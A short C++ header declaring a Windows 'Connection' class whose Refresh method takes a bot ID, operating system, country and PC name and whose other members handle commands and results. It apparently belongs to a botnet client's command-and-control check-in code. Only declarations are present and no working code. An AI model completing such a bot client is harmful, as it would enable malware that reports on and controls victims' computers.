#ifndef connection_class
#define connection_class

#include "config.h"
#include "ClientSocket.h"
#include <string>
#include <windows.h>


using namespace std;


class Connection
{
private:
	string* buf;
	string command;
	string param[3];
	string *order;
	int length;

public:
	Connection();
	string Refresh(string BotID, string OS, string Country, string PCName);
	bool SendResult();

	// Get Function
	string GetParam(int Number);
};



#endif